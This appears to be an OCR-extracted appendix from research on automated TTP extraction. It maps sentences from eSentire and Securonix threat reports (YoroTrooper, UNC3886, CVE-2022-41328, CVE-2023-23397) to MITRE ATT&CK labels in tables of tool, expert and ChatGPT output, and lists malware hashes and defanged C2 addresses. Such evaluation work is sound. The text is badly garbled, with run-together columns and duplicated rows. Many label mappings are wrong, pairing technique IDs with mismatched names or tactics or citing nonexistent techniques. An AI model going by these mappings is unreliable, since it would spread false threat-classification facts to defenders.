{'taid': 'T1183/,
'tactic":
'Defense
Evasion', 'tid":
'T1183/,
'technique':
'Software
Packing'}]

[0, 1]

Individuals and organizations should be vigilant when receiving unsolicited emails or
messages related to taxes. Train users to identify and report potentially malicious
content using Phishing and Security Awareness Training (PSAT) programs.

[{'taid": 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'}]

U]

Protect endpoints against malware by:

Ensuring antivirus signatures are up-to-date.

Using a Next-Gen AV (NGAV) or Endpoint Detection and Response (EDR) tool to
detect and contain threats.

[{'taid": 'T1489',
'tactic":
'Execution’,
'tid": 'T1489',
'technique':
'Service Stop'},
{'taid': 'T1489',
'tactic":
'Execution’,




'tid": 'T1489',
'technique':
'Service
Disable'},
{'taid': 'T1489',
'tactic":
'Execution’,
'tid": 'T1489',
'technique':
'Service
Execution'},
{'taid": 'T1562',
'tactic":
'Defense
Evasion', 'tid":
'T1562',
'technique':
'Impair
Defenses'}]

Blotlg.vbs
d79593a6fb6c636a50334085b9d6018b
info.pdf
cc6440a764050a8adf530efe2a989d25
PowerShell obfuscated script
d2b6255b7076eb754921121489804fee
Shellcode
dfb72ba81b0f765d1676f856d6af82c7
Decrypted shellcode
d7baac59e5aa6122621c31f0afb49119

[{'taid": 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'},
{'taid': 'T1566',
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Spearphishing
Attachment'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'},
{'taid': 'T1503',
'tactic":
'Execution’,
'tid": 'T15083',
'technique':
'DLL Search
Order
Hijacking'},
{'taid": 'T1140',
'tactic":
'Defense
Evasion', 'tid":
'T1140',
'technique':
'Deobfuscate/D
ecode Files or
Information'},
{'taid": 'T1074',
'tactic":
'Persistence’,
'tid": 'T1074',
'technique':
'Data
Encoding'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',




'technique':
'Obfuscated
Files or
Information'},
{'taid': 'T1055',
'tactic":
'Execution’,
'tid": 'T1055',
'technique':
'Process
Injection'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'},
{'taid": 'T1027',
'tactic":
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or
Information'}]

C2 (opendir)

109.206.240[.167

Remcos RAT C2

xlongactive[.]Jsu

Password-protected ZIP archive
faOb3b0e5b7b5aa9a2da7bebbc15ab0e944d984b

[{'taid": 'T1566",
'tactic': 'Initial
Access', 'tid":
'T1566',
'technique':
'Phishing'},
{'taid": 'T1071",
'tactic':
‘Command and
Control', 'tid":
'T1071",
'technique':
'Application
Layer
Protocol'},
{'taid": 'T1027',
'tactic':
'Defense
Evasion', 'tid":
'T1027',
'technique':
'Obfuscated
Files or




Information'},
{'taid": 'T1102',
'tactic":
‘Command and
Control', 'tid":
'T1102',
'technique':
'Web Service'},
{'taid": 'T1562',
'tactic":
'Defense
Evasion', 'tid":
'T1562',
'technique':
'Impair
Defenses'}]

eSentire’s Threat Response Unit (TRU) is a world-class team of threat researchers
who develop new detections enriched by original threat intelligence and leverage
new machine learning models that correlate multi-signal data and automate rapid
response to advanced threats.

[{'taid": 'T1580",
'tactic":
'Adversary
Opsec', 'tid":
'T1580',
'technique':
'Avoid
Suspicious
Tools'}, {'taid":
'T1582',
'tactic":
'Adversary
Opsec', 'tid":
'T1582',
'technique':
'Use Alternate
Authentication
Material'},
{'taid": 'T1204",
'tactic":
'Execution’,
'tid": 'T1204',
'technique':
'User
Execution'}]

If you are not currently engaged with an MDR provider, eSentire MDR can help you
reclaim the advantage and put your business ahead of disruption.

[{'taid": 'T1583",
'tactic":
'Impersonation’
, 'tid": 'T1583',
'technique':
'Service
Application
Layer
Protocol'},
{'taid": 'T1574",
'tactic":
'Defend’, 'tid":
'T1574',
'technique':
"Threat
Intelligence'},
{'taid": 'T1038"',
'tactic":
'Credential
Access', 'tid":
'T1038',
'technique':
'Authentication
Token'}]
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TTPExtractor Infer Result

information stealers, remote access
trojans, and Python-based malware.

'Python'}]

sent ttps entities ttps_pred_count | ttps_accept_idx
YoroTrooper uses a number of tools, [{'taid": 'TAO002', 'tactic': 'execution’, | [['malware’, 1 [0]
including commodity and custom 'tid": 'T1059.006', 'technique': '"YoroTrooper']]

information stealers, remote access 'Python'}]

trojans, and Python-based malware.

The infection is transmitted via [{'taid": "'TAO001", 'tactic': 'initial- [['malware’, 1 [0]
phishing emails containing decoy PDF | access', 'tid": 'T1566.001", 'Python-based']]

documents and malicious LNK 'technique':

attachments. 'SpearphishingAttachment'}]

According to researchers, YoroTrooper | [{'taid": 'TA0009', 'tactic': 'collection’, | [] 1 [0]
exfiltrates large amounts of data from [ 'tid': 'T1005', 'technique':

infected devices, including cookies and | 'DatafromLocalSystem'}]

browsing history.

Threat actors used HTA to download [{'taid": 'TA0002', 'tactic': "#14T", 'tid": 1} 1 [0]
decoy documents and dropper \ o . . ,

T1 . tech :

implants onto target systems by 059.006, ‘technique': ‘python’}

deploying a custom Python stealer

against the governments of Tajikistan

and Uzbekistan in 2023.

Currently, malicious RAR and ZIP [{'taid": "'TAO001", 'tactic': 'initial- 1} 1 [0]
attachments are being used in phishing | access', 'tid": 'T1566.001",

emails in connection with national 'technique':

strategy and diplomacy. 'SpearphishingAttachment'}]

Securonix Threat Labs is actively [{'taid": 'TA00Q7', 'tactic": 'discovery', | [['actor’, 1 [0]
monitoring running campaigns by a 'tid": 'T1057', 'technique’: 'UNC3886']]

suspected Chinese hacking group 'ProcessDiscovery'}]

UNC3886 and other threat actors that

are targeting government entities and

large organizations.

Moreover, its website uses HTTPS to [{'taid": "'TAOO11', 'tactic': 'command- | [['malware’, 1 [0]
ensure that users are communicating | and-control', 'tid': 'T1071.001", 'ChatGPT]

securely with the website’s server by 'technique': 'WebProtocols'}]

encrypting data traffic between their

web browsers and the website’s

server.

Securonix Threat Labs is actively [{'taid": 'TA0007", 'tactic': 'discovery', | [] 1 [0]
monitoring running campaigns by 'tid": 'T1057', 'technique":

threat actors / hackers that are 'ProcessDiscovery'}]

targeting ChatGPT All.

Enforce SMB sign on for clients and [{'taid": 'TAO0O5', 'tactic': 'defense- 0 1 [0]
servers to prevent a relay attack. evasion', 'tid": 'T1553.002',

'technique': 'CodeSigning'}]

Expert Review Result

sent ttps entities ttps_pred_count | ttps_accept_idx
YoroTrooper uses a number of tools, [{'taid": 'TAO002', 'tactic': 'execution’, | [['malware’, 1 [0]
including commodity and custom 'tid": 'T1059.006', 'technique': '"YoroTrooper']]




servers to prevent a relay attack.

evasion', 'tid": 'T1553.002',
'technique': 'CodeSigning'}]

The infection is transmitted via [{'taid": "'TAO001", 'tactic': 'initial- [['malware’, 1 [0]
phishing emails containing decoy PDF | access', 'tid": 'T1566.001", 'Python-based']]

documents and malicious LNK 'technique':

attachments. 'SpearphishingAttachment'}]

According to researchers, YoroTrooper | [{'taid": 'TA0009', 'tactic': 'collection’, | [] 1 [0]
exfiltrates large amounts of data from | 'tid": 'T1005', 'technique':

infected devices, including cookies and | 'DatafromLocalSystem'}]

browsing history.

Threat actors used HTA to download [{'taid': 'TA0002', 'tactic': "#4T", 'tid": | [ 1 [0]
decoy documents and dropper \ o . o ,

implants onto target systems by T1059.006', ‘technique': “python’}]

deploying a custom Python stealer

against the governments of Tajikistan

and Uzbekistan in 2023.

Currently, malicious RAR and ZIP [{'taid": "'TAO001", 'tactic': 'initial- 1} 1 [0]
attachments are being used in phishing | access', 'tid": 'T1566.001",

emails in connection with national 'technique':

strategy and diplomacy. 'SpearphishingAttachment'}]

Securonix Threat Labs is actively [{'taid": 'TAO0OQ7', 'tactic': 'discovery', | [['actor’, 1 0
monitoring running campaigns by a 'tid": 'T1057', 'technique’: 'UNC3886']]

suspected Chinese hacking group ‘ProcessDiscovery'}]

UNC3886 and other threat actors that

are targeting government entities and

large organizations.

Moreover, its website uses HTTPS to [{'taid": "'TAOO11', 'tactic': 'command- | [['malware’, 1 [0]
ensure that users are communicating and-control', 'tid": 'T1071.001", 'ChatGPT']

securely with the website’s server by 'technique': 'WebProtocols'}]

encrypting data traffic between their

web browsers and the website’s

server.

Securonix Threat Labs is actively [{'taid": 'TA00Q7', 'tactic': 'discovery', | [I 1 0
monitoring running campaigns by 'tid": 'T1057', 'technique’:

threat actors / hackers that are 'ProcessDiscovery'}]

targeting ChatGPT All.

Enforce SMB sign on for clients and [{'taid": 'TAO0O5', 'tactic': 'defense- 0 1 0

ChatGPT Infer Result

monitored major threat categories, including
multiple cyber campaigns involving attacks from

Control', 'tid": 'T1071"', 'technique': 'Standard
Application Layer Protocol'}]

text tts ttps_pred_count | ttps_accept_idx
The report additionally provides a synopsis of [{'taid": 'TAO00O1", 'tactic': 'Initial Access', 'tid": | 4 [0,1,2,3]
the threats; indicators of compromise (loCs); ‘T1200', 'technique': 'Hardware Additions'},
tactics, techniques, and procedures (TTPs); and | {'taid": 'TA0001’, 'tactic': 'Initial Access', 'tid":
related tags. 'T1201', 'technique': 'Password Policy
Discovery'}, {'taid': 'TA0001', 'tactic': 'Initial
Access', 'tid": 'T1190', 'technique': 'Exploit
Public-Facing Application'}, {'taid': 'TA0001",
'tactic': 'Initial Access', 'tid": 'T1210',
'technique': 'Exploit Client Software'}]
For additional information on Threat Labs and [{'taid": 'TA0009', 'tactic': 'Collection’, 'tid": 3 [0,1,2]
related search queries used via Autonomous 'T1005', 'technique': 'Data from Local
Threat Sweeper to detect the below mentioned | System'}, {'taid": 'TA0040', 'tactic":
threats, refer to our Threat Labs home page. 'Command and Control', 'tid": 'T1071",
'technique': 'Application Layer Protocol'},
{'taid': 'TA0004', 'tactic': 'Persistence’, 'tid":
'T1505', 'technique': 'Server Software
Component'}]
In March 2023, Threat Labs analyzed and [{'taid": 'TA0043', 'tactic': 'Command and 1 [0]




APT groups originating from China, ChatGPT
cyber campaign, and vulnerabilities seen from
Telerik, Fortinet and Microsoft Office Outlook.

Of note a suspected Chinese hacking group [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": [0]
UNC3886 has been linked to a series of attacks | 'T1190', 'technique': 'Exploit Public-Facing
on government organizations exploiting a Vulnerability'}]
Fortinet zero-day vulnerability (CVE-2022-41328)
to deploy malware.
FortiGate and FortiManager devices were [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": [0, 1]
compromised as well due to the connections to | 'T1210', 'technique': 'Exploit Client
VIRTUALPITA from the Fortinet management IP | Software'}, {'taid": 'TA0005', 'tactic': 'Defense
addresses. Evasion', 'tid": 'T1566', 'technique':
'Phishing'}]
In March 2023, Securonix Autonomous Threat [{'taid': 'TA0006', 'tactic': 'Detection’, 'tid": [0,1,2,3,4]
Sweeper identified 3,839 TTPs and I0Cs, 122 'T1059', 'technique': 'Command-Line
distinct threats, and reported 36 threat Interface'}, {'taid": 'TA0006', 'tactic":
detections. 'Detection’, 'tid": 'T1106', 'technique’:
'Execution through API'}, {'taid": 'TA0040',
'tactic': 'Command and Control', 'tid":
'T1071', 'technique': 'Application Layer
Protocol'}, {'taid': 'TA0009', 'tactic":
'Collection’, 'tid": 'T1005', 'technique': 'Data
From Local System'}, {'taid": 'TA0006',
'tactic': 'Detection’, 'tid": 'T10583', 'technique':
'Scheduled Task'}]
The top data sources swept against include [{'taid": 'TA0040', 'tactic': 'Command and [0, 1]
IDS/IPS/UTM/Threat Detection, Endpoint Control', 'tid": 'T1071", 'technique':
Management Systems, Data Loss Prevention, 'Application Layer Protocol'}, {'taid":
and Email/Email Security. 'TA0009', 'tactic': 'Collection’, 'tid': 'T1005',
'technique': 'Data from Local System'}]
Cyberespionage group APT27, also known as [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": [0,1,2]
Iron Tiger, has created a new Linux version of 'T1195', 'technique': 'Supply Chain
its SysUpdate custom remote access malware, | Compromise'}, {'taid': 'TA0002', 'tactic":
enabling more enterprise services to be ‘Execution’, 'tid": 'T1059', 'technique':
targeted. '‘Command-Line Interface'}, {'taid": 'TA0002',
'tactic': 'Execution’, 'tid': 'T1106', 'technique':
'Execution through API'}]
A new cyber-espionage campaign targeting [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": [0,1,2]
governments and energy agencies in 'T1192', 'technique': 'Spearphishing Link'},
Commonwealth of Independent States (CIS) {'taid': 'TA0009', 'tactic': 'Collection’, 'tid":
countries has been carried out by the threat ‘T1003', 'technique': 'Credential Dumping'},
actor named ‘YoroTrooper* since June 2022. {'taid": 'TA0010', 'tactic': 'Exfiltration’, 'tid":
'T1030', 'technique': 'Data Transfer Size
Limits'}]
Several European embassies, the World [{'taid": 'TAO003', 'tactic': 'Persistence’, 'tid": [0, 1]
Intellectual Property Organization (WIPO), and a | 'T1547', 'technique': 'Boot or Logon Autostart
key European Union healthcare agency have Execution'}, {'taid": 'TA0009', 'tactic":
been compromised by the threat actor. 'Collection’, 'tid": 'T1074', 'technique': 'Data
Staged'}]
YoroTrooper uses a number of tools, including [{'taid": 'TAO009', 'tactic': 'Collection’, 'tid": [0, 1]
commodity and custom information stealers, 'T1003', 'technique': 'Credential Dumping'},
remote access trojans, and Python-based {'taid': 'TA0010', 'tactic': 'Exfiltration’, 'tid":
malware. 'T1030', 'technique': 'Data Transfer Size
Limits'}]
The infection is transmitted via phishing emails | [{'taid": 'TA0001', 'tactic': 'Initial Access', 'tid": [0]
containing decoy PDF documents and malicious | 'T1566', 'technique': 'Phishing'}]
LNK attachments.
According to researchers, YoroTrooper [{'taid": 'TA0010', 'tactic': 'Exfiltration', 'tid": [0,1,2]

exfiltrates large amounts of data from infected

devices, including cookies and browsing history.

'T1020', 'technique': 'Automated Exfiltration'},
{'taid': 'TA0009', 'tactic': 'Collection’, 'tid":
'T1074', 'technique': 'Data Staged'}, {'taid":
'"TA0010', 'tactic': 'Exfiltration’, 'tid': 'T1002',
'technique': 'Data Compressed'}]




A gambling company in the Philippines was one | [{'taid': "'TA0040', 'tactic': 'Command and 2 [0, 1]
of the victims of the Iron Tiger campaign, which | Control', 'tid": 'T1563', 'technique': ‘Domain
used a command and control server with a Generation Algorithms'}, {'taid": 'TA0012',
domain similar to the victims. 'tactic': 'Lateral Movement', 'tid': 'T1490',
'technique': 'Domino'}]
The YoroTrooper group used corrupt PDF files [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": | 1 [0]
to target Belarusian entities in the summer of 'T1566', 'technique': 'Phishing'}]
2022.
It registered several typosquatting domains [{'taid": 'TA0040', 'tactic': 'Command and 1 [0]
mimicking Russian government entities in Control', 'tid": 'T1563', 'technique': 'Domain
September 2022. Generation Algorithms'}]
Threat actors used HTA to download decoy [{'taid": 'TA0002', 'tactic': 'Execution’, 'tid": 8 [0,1,2,3,4,5,
documents and dropper implants onto target 'T1203', 'technique': 'Exploitation for Client 6, 7]
systems by deploying a custom Python stealer | Execution'}, {'taid": "'TA0010’, 'tactic":
against the governments of Tajikistan and ‘Exfiltration’, 'tid": 'T1041", 'technique':
Uzbekistan in 2023. 'Exfiltration Over C2 Channel'}, {'taid":
'"TA0009', 'tactic': 'Collection’, 'tid": 'T1003',
'technique': 'Credential Dumping'}, {'taid":
'TA0009', 'tactic': 'Collection’, 'tid": 'T1114',
'technique': 'Email Collection'}, {'taid":
'TA0001', 'tactic': 'Initial Access', 'tid":
'T1184', 'technique': 'Multi-Stage Channels'},
{'taid': 'TA0009', 'tactic': 'Collection’, 'tid":
'T1002', 'technique': 'Data Compressed'},
{'taid': 'TA0002', 'tactic': 'Execution’, 'tid":
'T1105', 'technique': 'Ingress Tool Transfer'},
{'taid': 'TA0002', 'tactic': 'Execution’, 'tid":
'T1059', 'technique': 'Command-Line
Interface'}]
Currently, malicious RAR and ZIP attachments [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": | 1 [0]
are being used in phishing emails in connection | 'T1566', 'technique': 'Phishing'}]
with national strategy and diplomacy.
an unknown threat actor exploiting a security [{'taid": 'TAO0O1’, 'tactic': 'Initial Access', 'tid": | 1 [0]
flaw in Fortinet FortiOS software 'T1190', 'technique': 'Exploit Public-Facing
Application'}]
This exploit demonstrates an advanced actor [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": | 1 [0]
specifically targeting governmental or 'T1193', 'technique': 'Spearphishing
government-related targets. Attachment'}]
FortiOS version 7.2.0 through 7.2.3 [{'taid": 'TAO003', 'tactic': 'Persistence’, 'tid": |2 [0, 1]
'T1547', 'technique': 'Boot or Logon Autostart
Execution'}, {'taid": 'TA0002', 'tactic':
'Execution’, 'tid": 'T1102', 'technique': 'Web
Service'}]
FortiOS version 7.0.0 through 7.0.9 [{'taid": 'TAO003', 'tactic': 'Persistence’, 'tid": |2 [0, 1]
'T1547', 'technique': 'Boot or Logon Autostart
Execution'}, {'taid": 'TA0002', 'tactic':
'Execution’, 'tid": 'T10883', 'technique': 'File
and Directory Permissions Modification'}]
FortiOS version 6.4.0 through 6.4.11 [{'taid": 'TAO0O3', 'tactic': 'Persistence’, 'tid": |1 [0]
'T1547', 'technique': 'Boot or Logon Autostart
Execution'}]
FortiOS 6.2 all versions [{'taid": 'TA0003', 'tactic': 'Persistence’, 'tid": |1 [0]
'T1547', 'technique': 'Boot or Logon Autostart
Execution'}]
FortiOS 6.0 all versions [{'taid": 'TA0003', 'tactic': 'Persistence’, 'tid": |1 [0]
'T1547', 'technique': 'Boot or Logon Autostart
Execution'}]
suspected Chinese hacking group UNC3886, [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": | 1 [0]

has been linked to a series of attacks on
government organizations exploiting a Fortinet
zero-day vulnerability (CVE-2022-41328) to
deploy malware.

'T1203', 'technique': 'Exploitation for Client
Execution'}]




Additionally, the FortiGate devices with Federal | [{'taid: 'TA0003', 'tactic': 'Persistence’, 'tid": [0]
Information Processing Standards (FIPS) 'T1070', 'technique': 'Indicator Removal on
compliance mode enabled failed to boot after it | Host'}]
was later rebooted.
Threat Labs observed threat actors using [{'taid": 'TAO003', 'tactic': 'Persistence’, 'tid": [0,1,2]
access via the FortiManager device 'T1547', 'technique': 'Boot or Logon Autostart
Execution'}, {'taid": 'TA0005', 'tactic':
'Defense Evasion', 'tid": 'T1036', 'technique':
'Masquerading'}, {'taid': 'TA0008', 'tactic":
'Privilege Escalation', 'tid': 'T1574',
'technique': 'Privilege Escalation via
Exploitation of Named Kernel Vulnerability'}]
Threat Labs observed cyber espionage [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": [0,1,2,3]
operators exploiting zero-day vulnerabilities and | 'T1203', 'technique': 'Exploitation for Client
deploying custom malware to Internet-exposed | Execution'}, {'taid": "'TAO003', 'tactic':
systems as an initial attack vector. 'Persistence’, 'tid': 'T1547', 'technique': 'Boot
or Logon Autostart Execution'}, {'taid":
'TA0002', 'tactic': 'Execution’, 'tid": 'T1064',
'technique': 'Scripting'}, {'taid': "'TA0008',
'tactic': 'Privilege Escalation’, 'tid": 'T1055',
'technique': 'Process Injection'}]
Threat Labs learned that the threat actor uses a | [{'taid": 'TA0001', 'tactic': 'Initial Access', 'tid": [0,1,2,3]
local zero-day vulnerability in FortiOS (CVE- 'T1203', 'technique': 'Exploitation for Client
2022-41328) and deploys multiple custom Execution'}, {'taid": 'TA0002', 'tactic":
malware families on Fortinet and VMware ‘Execution’, 'tid": 'T1045', ‘technique':
systems 'Software Packing'}, {'taid': "'TA0010', 'tactic":
'Exfiltration’, 'tid": 'T1041', 'technique":
'Exfiltration Over C2 Channel'}, {'taid":
'TA0001', 'tactic': 'Initial Access', 'tid":
'T1195', 'technique': 'Supply Chain
Compromise'}]
Securonix Threat Labs is actively monitoring [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": [0,1,2]
running campaigns by a suspected Chinese 'T1195', 'technique': 'Supply Chain
hacking group UNC3886 and other threat actors | Compromise'}, {'taid': 'TA0001", 'tactic":
that are targeting government entities and large | 'Initial Access', 'tid": 'T1193', 'technique':
organizations. 'Spearphishing Attachment'}, {'taid":
'TA0001', 'tactic': 'Initial Access', 'tid":
'T1203', 'technique': 'Exploitation for Client
Execution'}]
Threat Labs observed threat actors using [{'taid": 'TAO003', 'tactic': 'Persistence’, 'tid": [0,1,2]
access via the FortiManager device 'T1547', 'technique': 'Boot or Logon Autostart
Execution'}, {'taid": 'TA0005', 'tactic':
'Defense Evasion', 'tid": 'T1036', 'technique':
'Masquerading'}, {'taid': 'TA0008', 'tactic":
'Privilege Escalation', 'tid': 'T1574',
'technique': 'Privilege Escalation via
Exploitation of Named Kernel Vulnerability'}]
Threat Labs observed cyber espionage [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": [0,1,2,3]
operators exploiting zero-day vulnerabilities and | 'T1203', 'technique': 'Exploitation for Client
deploying custom malware to Internet-exposed | Execution'}, {'taid": "'TA0003', 'tactic":
systems as an initial attack vector. 'Persistence’, 'tid': 'T1547', 'technique': 'Boot
or Logon Autostart Execution'}, {'taid":
'TA0002', 'tactic': 'Execution’, 'tid": 'T1064',
'technique': 'Scripting'}, {'taid': "'TA0008"',
'tactic': 'Privilege Escalation’, 'tid": 'T1055',
'technique': 'Process Injection'}]
Threat Labs learned that the threat actor uses a | [{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid": [0,1,2,3]

local zero-day vulnerability in FortiOS (CVE-
2022-41328) and deploys multiple custom
malware families on Fortinet and VMware
systems

'T1203', 'technique': 'Exploitation for Client
Execution'}, {'taid": 'TA0002', 'tactic':
'Execution’, 'tid": 'T1045', 'technique":
'Software Packing'}, {'taid': 'TA0010', 'tactic':
'Exfiltration’, 'tid": 'T1041", 'technique":
'Exfiltration Over C2 Channel'}, {'taid":
'TA0001', 'tactic': 'Initial Access', 'tid":
'T1195', 'technique': 'Supply Chain
Compromise'}]




Bitdefender confirmed that a phishing campaign | [{'taid": 'TA0001’, 'tactic': 'Initial Access', 'tid": [0]
uses a fake ChatGPT platform to swindle 'T1566', 'technique': 'Phishing'}]
investors.
In their analysis, researchers at G DATA have [{'taid": 'TAO005', 'tactic': 'Defense Evasion', [0, 1]
identified ChatGPT’s real doppelganger, 'tid": 'T1565', 'technique': 'Modify Web
chatgpt-go[.Jonline. Session Cookie'}, {'taid": 'TA0006', 'tactic':
'Credential Access', 'tid': 'T1557',
'technique': 'Man-in-the-Middle'}]
However, users will see the same webpage on [{'taid": 'TAO005', 'tactic': 'Defense Evasion', [0, 1]
the fake website as they would on ChatGPT’s 'tid": 'T1563', 'technique': 'Use Alternate
official site. Moreover, its website uses HTTPS | Authentication Material'}, {'taid': 'TA000S',
to ensure that users are communicating 'tactic': 'Defense Evasion’, 'tid": 'T1556",
securely with the website’s server by encrypting | 'technique': ‘Modify Registry'}]
data traffic between their web browsers and the
website’s server.
Securonix Threat Labs is actively monitoring [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 'tid": [0,1,2]
running campaigns by threat actors / hackers 'T1566', 'technique': 'Phishing'}, {'taid":
that are targeting ChatGPT All. 'TA0002', 'tactic': 'Execution’, 'tid': 'T1083',
'technique': 'File and Directory Discovery'},
{'taid': 'TA0003', 'tactic': 'Persistence’, 'tid":
'T1547', 'technique': 'Boot or Logon Autostart
Execution'}]
CISA, FBI, and MS-ISAC issued a joint advisory | [{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid": [0, 1]
reporting the attackers accessed the server 'T1205', 'technique': 'Port Scanning'}, {'taid":
between November 2022 and early January 2023 | 'TA0001', 'tactic': 'Initial Access', 'tid":
based on indicators of compromise (IoCs) on 'T1210', 'technique': 'Exploits via SMB'}]
the unnamed federal civilian executive branch
(FCEB) agency’s network.
It is believed that at least two threat actors (one | [{'taid': 'TAO0O1’, 'tactic': 'Initial Access', 'tid": [0]
of them the Vietnamese XE Group) exploited this | 'T1203', 'technique': 'Exploitation for Client
bug CVE-2019-18935 (CVSS score: 9.8) to gain Execution'}]
remote access to the unpatched server.
Hackers compromised the FCEB agency’s [{'taid": 'TA0010', 'tactic': 'Exfiltration', 'tid": [0,1,2]
server and deployed malicious payloads in 'T1048', 'technique': 'Exfiltration Over
C:/Windows/Temp/ to collect data and transmit | Alternative Protocol'}, {'taid": "'TA0010',
it to attacker-controlled command and control ‘tactic': 'Exfiltration’, 'tid": 'T1041",
servers. 'technique': 'Exfiltration Over C2 Channel'},
{'taid': 'TA0002', 'tactic': 'Execution’, 'tid":
'T1005', 'technique': 'Data from Local
System'}]
Threat Labs observed a threat actor tracked as | [{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid": [0,1,2]
Praying Mantis (aka TG2021) has also 'T1203', 'technique': 'Exploitation for Client
weaponized CVE-2019-18935, along with CVE- Execution'}, {'taid": 'TA0002', 'tactic':
2017-11317, to infiltrate U.S. public and private | 'Execution’, 'tid": 'T1189', 'technique': 'Drive-
networks. by Compromise'}, {'taid': 'TA0002', 'tactic':
'Execution’, 'tid": 'T1192', 'technique":
'Spearphishing Link'}]
Microsoft Office Outlook privilege escalation [{'taid": 'TAO008', 'tactic': 'Privilege [0, 1]
vulnerability(Originally published in March 2023) | Escalation’, 'tid": 'T1548', 'technique': 'Abuse
Accessibility Features'}, {'taid": 'TA0008',
'tactic': 'Privilege Escalation’, 'tid": 'T1547",
'technique': 'Boot or Logon Autostart
Execution'}]
Microsoft has observed and announced a new [{'taid": 'TAO005', 'tactic': 'Defense Evasion', [0, 1]
high severity vulnerability with the code CVE- 'tid": 'T1553", 'technique': 'Subvert Trust
2023-23397 in Outlook for Windows that is being | Controls'}, {'taid": "'TA0006', 'tactic':
exploited to steal NTLM credentials. ‘Credential Access', 'tid": 'T1003',
'technique': 'Credential Dumping'}]
Researchers from ASEC have analyzed the [{'taid": 'TA0001", 'tactic': 'Initial Access', 'tid": [0]

Microsoft vulnerability in Outlook for Windows
as well and confirms it is being exploited to
steal NTLM credentials.

'T1192', 'technique': 'Spearphishing Link'}]




CVE-2023-23397 is an elevation of privilege [{'taid": 'TAO00O8', 'tactic': 'Privilege [0, 1]
vulnerability in Microsoft Outlook. Escalation', 'tid": 'T1548', 'technique': 'Abuse

Accessibility Features'}, {'taid": 'TA0008',

'tactic': 'Privilege Escalation’, 'tid": 'T1547",

'technique': 'Boot or Logon Autostart

Execution'}]
It is a zero-touch exploit that is a security gap [{'taid": 'TA0002', 'tactic': 'Execution’, 'tid": [0]
that has low complexity and requires no user 'T1202', 'technique': 'Indirect Command
interaction. Execution'}]
In most cases, the attacker sends a message to | [{'taid": 'TA0001’', 'tactic': 'Initial Access', 'tid": [0,1,2]
the victim with an extended Message 'T11983', 'technique': 'Spearphishing
Application Program Interface (MAPI) property Attachment'}, {'taid": 'TA0002', 'tactic":
with a Universal Naming Convention (UNC) path | 'Execution’, 'tid": 'T1105', 'technique':
to a remote attacker-controlled Server Message | 'Remote File Copy'}, {'taid': 'TA0002', 'tactic':
Block (SMB, via TCP 445). 'Execution’, 'tid": 'T1048', 'technique:

'Exfiltration Over Alternative Protocol'}]
Securonix Threat Labs recommends leveraging | [{'taid': 'TA0004', 'tactic': 'Collection’, 'tid": [0]
our findings to deploy protective measures for 'T1530', 'technique': 'Data from Cloud
increased threats from this malware. Storage Object'}]
Implement network segmentation and maintain | [{'taid": 'TA0003', 'tactic': 'Persistence’, 'tid": [0, 1]
offline backups of data to ensure limited 'T1490', 'technique': 'Inhibit System
interruption to your organization. Recovery'}, {'taid': 'TA0003', 'tactic':

'Persistence’, 'tid': 'T1498', 'technique:

'Network Denial of Service'}]
Apply the vendor patches immediately. [{'taid": 'TAO005', 'tactic': 'Defense Evasion', [0]
Microsoft has released a patch as part of their 'tid": 'T1210', 'technique': 'Exploits via SMB'}]
March 2023 Monthly Security Update.
Block TCP 445/SMB outbound from your [{'taid": 'TA0001", 'tactic': 'Initial Access', 'tid": [0, 1]
network. 'T1043', 'technique': 'Commonly Used Port'},

{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid":

'T1205', 'technique': 'Port Scanning'}]
Customers can disable the WebClient service. [{'taid": 'TAO005', 'tactic': 'Defense Evasion', [0]
Note that this will block all WebDAV 'tid": 'T1562', 'technique': 'Impair Defenses'}]
connections, including intranet.
Add users to the Protected Users Security [{'taid": 'TA0002', 'tactic': 'Execution’, 'tid": [0]
Group. 'T1069', 'technique': 'Permission Groups

Discovery'}]
Enforce SMB sign on for clients and servers to [{'taid": 'TAO00O6', 'tactic': 'Credential Access', [0, 1]
prevent a relay attack. 'tid": 'T1214", 'technique': 'Credentials in

Files'}, {'taid': 'TAO0O06', 'tactic': 'Credential

Access', 'tid": 'T1210', 'technique': 'Exploits

via SMB'}]
28 10Cs are available on our Threat Labs home | [{'taid': 'TA004', 'tactic': 'Collection’, 'tid": [0]
page and have been swept against Autonomous | 'T1513', 'technique': 'Data from Local
Threat Sweeper customers. System'}]
Tags: Vulnerability: Microsoft vulnerability CVE- | [{'taid': 'TA0005', 'tactic': 'Defense Evasion’, [0,1,2,3]
2023-23397 in Outlook | Exploitation: steal NTLM | 'tid': 'T1210', 'technique': 'Exploits via SMB'},
credentials [Target areas: Government, {'taid': 'TA0008', 'tactic': 'Privilege
transport, energy, and military sectors | Target Escalation', 'tid': 'T1548', 'technique': 'Abuse
location: Europe and Latin America. Accessibility Features'}, {'taid': 'TA0006',

'tactic': 'Credential Access', 'tid": 'T1003’,

'technique': 'Credential Dumping'}, {'taid":

